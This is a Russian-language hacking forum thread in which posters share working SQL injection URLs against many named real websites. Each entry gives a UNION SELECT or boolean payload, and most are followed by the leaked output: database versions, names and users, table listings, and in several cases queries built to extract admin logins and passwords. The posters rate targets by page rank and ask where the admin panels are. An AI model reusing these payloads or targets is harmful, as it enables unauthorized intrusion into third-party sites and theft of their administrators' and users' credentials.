SQL Инъекции

Code:

http://www.bintec.ru/?mod=SiteNews&act=7&id=-1+union+select+1,concat_ws(0x3a,login,PASSWORD),3,4,5,6+from+ssp_AdminSet--+

 

PR 5
http://mahatma.com/php/showNews.php?newsid=67&linkid=16+and+substring(version(),1,1)=x



Version : 5.0.81-community
Database : mahatmam_comdb
User : mahatmam_mahatma@localhost
Os : pc-linux-gnu


и сиптом все получается, главное запрос составить как надо...

http://onlinefoto.com.ua/backlinks/links.php?id=3092'+UNION+SELECT+1,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,TABLE_NAME,0x7873716C696E6A64656C,TABLE_SCHEMA,0x7873716C696E6A656E64),0x71),0x71)+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+45,1/*

16 :In database information_schema found table USER_PRIVILEGES
1 : GRANTEE
2 : TABLE_CATALOG
3 : PRIVILEGE_TYPE
4 : IS_GRANTABLE
17 :In database information_schema found table VIEWS
1 : TABLE_CATALOG
2 : TABLE_SCHEMA
3 : TABLE_NAME
4 : VIEW_DEFINITION
5 : CHECK_OPTION
6 : IS_UPDATABLE
7 : DEFINER
8 : SECURITY_TYPE
18 :In database onlinefoto found table replinks
1 : id
2 : linkdata
19 :In database onlinefoto found table sph_admins
1 : admin_id
2 : login
3 : password
bla bla bla

 

Code:

http://www.russellmania.com/index.php?id=35&dvd_id=-1137+union+select+version()--

Database Version: 5.0.77-community
Database name: mania_cms
User name: mania_user@localhost

 

Code:

http://www.milnerton.co.za/details.php?id=2965++union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat_ws(0x3a,version(),database(),user()),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58+limit+1,1/*

version():5.0.38-Debian_2-log
database():milnertondb
user():34_milnertondb@localhost

Есть таблица prop_admin
__

Code:

http://www.rvtech.co.za/NewsView.php?Id=1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5+limit+1,1/*

version():5.0.32-Debian_7etch10
database():rvtech_db1
user():[email protected]

Есть таблица User

 

Code:

http://www.clownage.fr/paroles.php?id=-9+union+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=0x636C5F6E657773+/*+

Code:

http://www.sko-meteo.kz/view_date.php?date=2008-03'+UnIoN+SeLecT+1,table_name,3,4,5,6,7,8+from+information_schema.tables+--+

Code:

http://www.granjard.fr/ameublement.php?id=-13+union+select+1,2,3,4,5,concat_ws(0x3a3a,login,password),7+from+user+/*+

Code:

http://psr-quad.com/fiche_produit.php?proid=-520+UnIon+SeLect+1,2,3,4,5,concat_ws(0x3a3a,login,password),7,8,9,10,11,12,13,14+from+user+--+

PS Где тут админки ???

 

PR 4

suwalki_glowna:4.1.22-standard:suwalki_glowna@localhost

юзвери:

админы:

===============================================
PR 4

d60237022:5.0.77-log:u70254108@cgihost
===============================================
PR 3

nwcomContent:4.1.16:nwcom@localhost

 

Code:

http://www.suffolksharks.com/game.php?id=-13+union+select+memberlogin,memberpassword+from+Members--

Database Version: 5.0.67.d7-ourdelta-log
Database name: suffolksharks
User name: [email protected]

----------------------------------------------------------------------------------------------------

Code:

http://www.mblturismo.com.br/lermateria.php?id=-3+union+select+1,version(),3,4,5,6--

Database Version: 5.0.77-community
Database name: mblturi_dbmbl
User name: mblturi_daniel@localhost

----------------------------------------------------------------------------------------------------

PR 6

Code:

http://www.unf.[COLOR=Lime][SIZE=4]edu[/SIZE][/COLOR]/development/news/pressreleases/releaseview.php?id=-586+union+select+1,2,version(),4/*

Database Version: 4.1.22
Database name: news
User name: newsuser@localhost

 

Code:

http://www.sweatclubs.com/partner-physicians.php?id=-3+union+select+1,2,3,4,concat_ws(0x3a,vchUserName,vchUserPassword),6+from+BIM_UserMaster--

Database Version: 5.0.83-log
Database name: sweat
User name: cpt12345@localhost

 

moemesto.ru pr-7 тИЦ 2700

5.0.45-log

К сожалению длина значения вставляемого через ЧПУ ограничена(мб регулярка в .htaccess и режет) поэтому from и etc не влезет уже...

 

Code:

http://sms-fun.org/viewjokes.php?id=2652+and+substring(version(),1,1)=5

http://www.india6666.com/jokes/viewjokes-114+and+substring(version(),1,1)=5--+.html

http://kannadahanigalu.com/viewjokes.php?jokes=252&id=3592+and+substring(version(),1,1)=5

http://www.coolstuffs.in/jokes/jokescript/tamil_jokes/viewjokes.php?7325&id=3463+and+substring(version(),1,1)=5

 

www.kryshavel.by

http://www.kryshavel.by/photos.php?fotosectionid=-2+union+select+1,2,3,4,concat_ws(0x0b,version(),user(),database()),6/*&kind=Rocky

Таблички:
http://www.kryshavel.by/photos.php?fotosectionid=-2+union+select+1,2,3,4,group_concat(0x0b,table_name),6+from+information_schema.tables+group+by+table_schema+limit+1,1/*&kind=Rocky

 

Не знаю, байан или нет, антибайан в дауне сейчас...

http://bla-bla-bla.ru/zags/brak.php?id=-920+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat_ws(0x3a,version(),user(),database()),22,23
5.0.45:user_blablablaru@localhost:bla-bla-bla_ru

 

PR 4

PR 3

PR 2

--------------------------------------

 

http://classifieds.business-opportunities.biz/ads/638%20union%20select%201,2,3,version(),database(),6,user(),8--/


5.0.45-debian_1ubuntu3.1-log:[email protected]:bizop

 

HTML:

http://www.black-cat.ru/cat/articles.php?id=-57+union+select+concat_ws(0x3a,version(),database(),user())--

5.0.41-log:blackcat:[email protected]

HTML:

http://a-kentaur.ru/index.php?id=-107+union+select+concat_ws(0x3a,version(),database(),user())--

4.1.22-standard:kent_kent:kent_kent@localhost